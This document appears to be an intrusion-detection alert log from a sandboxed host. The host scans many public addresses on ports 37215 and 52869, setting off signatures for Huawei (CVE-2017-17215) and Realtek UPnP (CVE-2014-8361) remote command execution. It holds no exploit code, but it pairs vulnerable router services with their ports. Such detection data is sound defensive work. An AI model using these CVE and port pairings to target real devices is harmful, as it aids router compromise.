07/20/24-23:01:32.199190	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41874	37215	192.168.2.13	197.51.230.24
07/20/24-23:01:32.267589	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60298	37215	192.168.2.13	2.82.37.56
07/20/24-23:01:06.801747	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36336	37215	192.168.2.13	73.103.230.20
07/20/24-23:01:17.802655	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37654	37215	192.168.2.13	12.183.69.2
07/20/24-23:01:06.805919	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34676	37215	192.168.2.13	41.128.154.178
07/20/24-23:01:06.129068	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43568	52869	192.168.2.13	205.130.81.109
07/20/24-23:01:27.297470	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47420	37215	192.168.2.13	41.160.238.161
07/20/24-23:01:32.202245	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38282	37215	192.168.2.13	89.106.94.160
07/20/24-23:00:59.023270	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45336	37215	192.168.2.13	197.36.237.89
07/20/24-23:01:03.929284	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44888	52869	192.168.2.13	202.159.56.129
07/20/24-23:01:06.804996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34900	37215	192.168.2.13	141.150.31.80
07/20/24-23:01:12.525593	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44640	37215	192.168.2.13	157.132.47.158
07/20/24-23:01:25.414724	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49412	37215	192.168.2.13	73.102.71.84
07/20/24-23:01:19.989516	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57918	52869	192.168.2.13	86.176.163.132
07/20/24-23:01:14.539913	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58348	52869	192.168.2.13	130.11.160.84
07/20/24-23:01:14.516654	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60086	52869	192.168.2.13	126.209.245.77
07/20/24-23:01:22.741097	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59334	37215	192.168.2.13	24.98.52.32
07/20/24-23:01:32.260443	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35094	37215	192.168.2.13	218.9.58.25
07/20/24-23:01:04.892226	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35324	37215	192.168.2.13	157.171.92.123
07/20/24-23:01:07.443456	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55978	52869	192.168.2.13	154.241.18.163
07/20/24-23:01:22.799665	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54936	37215	192.168.2.13	197.129.109.210
07/20/24-23:01:32.260443	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56116	37215	192.168.2.13	157.10.132.222
07/20/24-23:01:25.388939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37434	37215	192.168.2.13	12.246.227.233
07/20/24-23:01:14.547223	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58280	52869	192.168.2.13	128.199.8.22
07/20/24-23:00:59.021908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56090	37215	192.168.2.13	220.90.88.236
07/20/24-23:01:04.874131	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41850	37215	192.168.2.13	157.243.126.145
07/20/24-23:01:14.520422	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52688	52869	192.168.2.13	150.134.45.104
07/20/24-23:01:27.286229	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40028	37215	192.168.2.13	85.180.224.205
07/20/24-23:01:32.202996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43014	37215	192.168.2.13	197.150.160.38
07/20/24-23:01:02.607576	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58268	37215	192.168.2.13	125.16.244.96
07/20/24-23:01:04.892375	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48748	37215	192.168.2.13	178.215.23.149
07/20/24-23:01:36.781255	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48288	37215	192.168.2.13	157.196.73.48
07/20/24-23:00:59.023733	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49566	37215	192.168.2.13	197.75.184.178
07/20/24-23:01:22.738834	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45152	37215	192.168.2.13	191.222.133.238
07/20/24-23:01:22.799496	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34412	37215	192.168.2.13	157.136.217.167
07/20/24-23:01:04.186436	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47972	52869	192.168.2.13	64.111.121.228
07/20/24-23:01:08.447449	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42350	37215	192.168.2.13	157.183.3.29
07/20/24-23:01:36.796105	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52994	37215	192.168.2.13	157.167.157.60
07/20/24-23:00:59.022941	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38556	37215	192.168.2.13	157.11.18.169
07/20/24-23:00:59.020683	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51402	37215	192.168.2.13	157.213.124.92
07/20/24-23:01:04.172196	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45114	52869	192.168.2.13	40.11.215.79
07/20/24-23:01:15.661483	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37162	37215	192.168.2.13	157.255.48.38
07/20/24-23:00:59.019994	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36346	37215	192.168.2.13	157.62.193.172
07/20/24-23:01:12.492810	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60686	37215	192.168.2.13	211.71.91.54
07/20/24-23:01:06.800702	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45248	37215	192.168.2.13	181.190.213.191
07/20/24-23:01:36.781139	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40816	37215	192.168.2.13	119.85.220.68
07/20/24-23:01:25.443184	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47248	37215	192.168.2.13	41.102.55.227
07/20/24-23:01:04.997254	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44724	52869	192.168.2.13	57.86.64.87
07/20/24-23:01:02.699257	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37696	37215	192.168.2.13	197.170.0.226
07/20/24-23:01:12.357339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55850	37215	192.168.2.13	157.104.61.140
07/20/24-23:01:07.290737	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55208	52869	192.168.2.13	58.234.199.253
07/20/24-23:01:12.358593	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38688	37215	192.168.2.13	164.88.101.43
07/20/24-23:01:04.606670	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40556	52869	192.168.2.13	35.117.84.161
07/20/24-23:01:25.391404	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49866	37215	192.168.2.13	157.251.199.254
07/20/24-23:01:06.813789	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54582	37215	192.168.2.13	197.191.13.46
07/20/24-23:01:02.607576	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54190	37215	192.168.2.13	41.151.30.29
07/20/24-23:00:59.054914	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34082	37215	192.168.2.13	25.100.29.220
07/20/24-23:01:14.539379	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37434	52869	192.168.2.13	14.2.30.96
07/20/24-23:01:08.381624	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53652	37215	192.168.2.13	152.151.18.5
07/20/24-23:01:14.566160	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41192	52869	192.168.2.13	205.67.98.173
07/20/24-23:00:59.022298	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46612	37215	192.168.2.13	20.222.215.240
07/20/24-23:01:27.354992	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44930	52869	192.168.2.13	37.40.108.99
07/20/24-23:01:08.407067	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41502	37215	192.168.2.13	41.75.191.9
07/20/24-23:01:08.391767	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58884	37215	192.168.2.13	206.40.208.27
07/20/24-23:00:59.020288	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44316	37215	192.168.2.13	197.21.88.67
07/20/24-23:01:22.739710	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38354	37215	192.168.2.13	157.133.112.241
07/20/24-23:00:59.020552	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32872	37215	192.168.2.13	106.174.68.245
07/20/24-23:01:06.628186	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42390	52869	192.168.2.13	115.130.21.220
07/20/24-23:01:02.661070	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33836	37215	192.168.2.13	90.118.180.212
07/20/24-23:00:59.021658	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39592	37215	192.168.2.13	157.156.49.184
07/20/24-23:01:25.389307	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34532	37215	192.168.2.13	157.18.96.193
07/20/24-23:01:36.866693	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47794	37215	192.168.2.13	157.209.185.36
07/20/24-23:01:06.802009	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60782	37215	192.168.2.13	148.83.172.41
07/20/24-23:01:25.414724	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55304	37215	192.168.2.13	197.42.201.100
07/20/24-23:01:14.507784	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34366	52869	192.168.2.13	170.54.95.252
07/20/24-23:01:05.542461	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35418	52869	192.168.2.13	188.53.105.187
07/20/24-23:01:14.516654	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47970	52869	192.168.2.13	18.101.167.39
07/20/24-23:01:14.570907	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37220	52869	192.168.2.13	1.212.57.243
07/20/24-23:01:02.613618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33886	37215	192.168.2.13	41.157.87.9
07/20/24-23:01:06.820921	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42326	37215	192.168.2.13	153.224.170.192
07/20/24-23:01:12.356929	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58830	37215	192.168.2.13	157.23.202.220
07/20/24-23:01:04.630544	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33970	52869	192.168.2.13	138.25.247.16
07/20/24-23:01:14.551639	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60762	52869	192.168.2.13	61.114.188.190
07/20/24-23:00:59.021890	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54514	37215	192.168.2.13	41.150.243.200
07/20/24-23:01:14.547224	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46040	52869	192.168.2.13	126.183.144.210
07/20/24-23:01:07.251986	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33638	52869	192.168.2.13	40.14.24.23
07/20/24-23:01:17.788569	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52876	37215	192.168.2.13	123.239.3.159
07/20/24-23:01:20.312979	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60968	52869	192.168.2.13	171.206.136.183
07/20/24-23:00:59.020039	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55082	37215	192.168.2.13	157.134.72.2
07/20/24-23:01:22.811587	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36204	37215	192.168.2.13	41.113.87.150
07/20/24-23:01:12.487419	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53652	37215	192.168.2.13	41.180.244.253
07/20/24-23:01:32.232613	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44148	37215	192.168.2.13	157.112.173.36
07/20/24-23:01:06.805919	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55822	37215	192.168.2.13	157.11.38.153
07/20/24-23:01:07.567973	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50716	52869	192.168.2.13	47.206.114.161
07/20/24-23:01:08.447448	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44456	37215	192.168.2.13	157.42.214.177
07/20/24-23:01:22.749654	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57372	37215	192.168.2.13	157.99.109.164
07/20/24-23:01:27.277398	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60406	37215	192.168.2.13	41.116.5.26
07/20/24-23:00:59.023733	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54504	37215	192.168.2.13	203.131.164.121
07/20/24-23:01:02.685656	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38806	37215	192.168.2.13	204.12.39.60
07/20/24-23:01:12.487419	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33420	37215	192.168.2.13	197.137.39.153
07/20/24-23:01:14.522190	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40700	52869	192.168.2.13	121.104.50.97
07/20/24-23:01:19.527278	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37656	52869	192.168.2.13	23.221.87.235
07/20/24-23:01:32.232613	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56232	37215	192.168.2.13	157.191.93.255
07/20/24-23:01:04.858015	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47418	37215	192.168.2.13	197.101.194.182
07/20/24-23:01:32.259331	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45908	37215	192.168.2.13	62.83.108.146
07/20/24-23:01:08.449909	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52252	37215	192.168.2.13	197.196.220.157
07/20/24-23:01:05.847071	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55650	52869	192.168.2.13	75.16.206.108
07/20/24-23:01:02.613456	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44970	37215	192.168.2.13	41.39.134.254
07/20/24-23:01:15.063531	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37672	37215	192.168.2.13	5.165.79.192
07/20/24-23:01:07.225933	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41222	52869	192.168.2.13	216.44.193.248
07/20/24-23:01:14.504881	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34520	52869	192.168.2.13	180.57.201.161
07/20/24-23:01:14.556764	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49512	52869	192.168.2.13	64.225.124.7
07/20/24-23:01:05.475384	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45582	52869	192.168.2.13	158.124.195.199
07/20/24-23:01:22.736570	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41180	37215	192.168.2.13	206.148.137.228
07/20/24-23:01:14.516654	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51268	52869	192.168.2.13	191.252.251.212
07/20/24-23:01:27.263646	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35720	37215	192.168.2.13	157.140.210.124
07/20/24-23:01:04.960066	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59402	52869	192.168.2.13	153.97.31.189
07/20/24-23:01:12.490733	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55644	37215	192.168.2.13	141.91.69.128
07/20/24-23:01:12.492810	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53770	37215	192.168.2.13	60.190.79.185
07/20/24-23:01:12.374034	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46032	37215	192.168.2.13	41.113.99.236
07/20/24-23:01:27.366334	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45152	52869	192.168.2.13	139.159.183.229
07/20/24-23:01:36.866693	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56068	37215	192.168.2.13	41.0.7.16
07/20/24-23:01:14.525496	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47296	52869	192.168.2.13	148.242.181.53
07/20/24-23:01:04.558305	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40426	52869	192.168.2.13	207.32.229.66
07/20/24-23:01:36.781139	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33604	37215	192.168.2.13	157.225.133.190
07/20/24-23:01:04.855996	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32802	37215	192.168.2.13	197.49.222.44
07/20/24-23:01:27.354427	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35888	52869	192.168.2.13	25.216.97.59
07/20/24-23:01:15.000440	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45558	37215	192.168.2.13	41.121.138.230
07/20/24-23:01:08.386561	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58808	37215	192.168.2.13	120.157.208.82
07/20/24-23:01:12.502954	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40250	37215	192.168.2.13	197.106.151.46
07/20/24-23:01:12.485458	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50946	37215	192.168.2.13	37.78.206.63
07/20/24-23:01:17.779183	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34892	37215	192.168.2.13	193.190.14.156
07/20/24-23:01:19.334468	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34982	52869	192.168.2.13	60.215.234.238
07/20/24-23:01:04.870311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54694	37215	192.168.2.13	197.145.104.62
07/20/24-23:01:20.486898	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39792	52869	192.168.2.13	13.21.70.134
07/20/24-23:01:15.000002	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45276	37215	192.168.2.13	157.30.60.2
07/20/24-23:01:27.232388	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58268	37215	192.168.2.13	157.36.109.153
07/20/24-23:01:21.665349	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40638	52869	192.168.2.13	83.133.236.199
07/20/24-23:01:08.392907	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48612	37215	192.168.2.13	157.101.21.17
07/20/24-23:01:12.517791	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41038	37215	192.168.2.13	41.2.186.51
07/20/24-23:01:04.853128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34030	37215	192.168.2.13	41.248.214.0
07/20/24-23:01:22.834271	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50902	37215	192.168.2.13	197.232.39.94
07/20/24-23:01:06.227033	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32804	52869	192.168.2.13	176.69.59.228
07/20/24-23:01:27.354427	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47730	52869	192.168.2.13	34.213.231.189
07/20/24-23:01:32.250506	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52458	37215	192.168.2.13	41.66.129.3
07/20/24-23:01:40.432669	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52162	37215	192.168.2.13	173.10.79.117
07/20/24-23:01:22.809590	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36608	37215	192.168.2.13	157.41.160.20
07/20/24-23:01:36.837667	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55608	37215	192.168.2.13	128.45.232.171
07/20/24-23:01:22.753217	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33710	37215	192.168.2.13	157.127.151.237
07/20/24-23:01:06.801544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54168	37215	192.168.2.13	157.146.23.122
07/20/24-23:01:25.414531	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42526	37215	192.168.2.13	197.115.182.83
07/20/24-23:01:12.504870	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49290	37215	192.168.2.13	197.58.247.74
07/20/24-23:01:20.470124	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53844	52869	192.168.2.13	64.157.100.230
07/20/24-23:01:08.381149	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55616	37215	192.168.2.13	157.62.139.88
07/20/24-23:01:22.799496	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36170	37215	192.168.2.13	41.223.50.254
07/20/24-23:01:36.808711	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38994	37215	192.168.2.13	197.253.243.30
07/20/24-23:01:14.525496	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50646	52869	192.168.2.13	51.65.47.196
07/20/24-23:01:04.864677	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49350	37215	192.168.2.13	41.180.196.49
07/20/24-23:01:06.243271	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52718	52869	192.168.2.13	99.172.148.31
07/20/24-23:01:06.140603	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42430	52869	192.168.2.13	176.151.180.197
07/20/24-23:01:14.518210	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59672	52869	192.168.2.13	51.230.131.89
07/20/24-23:00:59.020320	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40876	37215	192.168.2.13	157.40.102.40
07/20/24-23:01:02.699257	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41994	37215	192.168.2.13	25.125.187.17
07/20/24-23:01:17.798948	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58324	37215	192.168.2.13	41.191.211.246
07/20/24-23:01:36.837667	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57118	37215	192.168.2.13	97.197.39.59
07/20/24-23:01:08.369553	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34018	37215	192.168.2.13	180.201.70.9
07/20/24-23:00:59.023270	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35012	37215	192.168.2.13	157.24.52.3
07/20/24-23:01:14.542240	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36096	52869	192.168.2.13	72.246.92.233
07/20/24-23:01:02.607205	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45408	37215	192.168.2.13	41.59.60.215
07/20/24-23:01:32.213464	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35778	37215	192.168.2.13	197.73.181.97
07/20/24-23:01:36.798333	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48614	37215	192.168.2.13	41.146.212.204
07/20/24-23:01:14.522654	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35906	52869	192.168.2.13	143.19.210.21
07/20/24-23:01:32.262033	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42442	37215	192.168.2.13	157.67.33.5
07/20/24-23:01:17.786876	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57890	37215	192.168.2.13	157.113.228.229
07/20/24-23:01:02.620832	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42890	37215	192.168.2.13	13.152.140.36
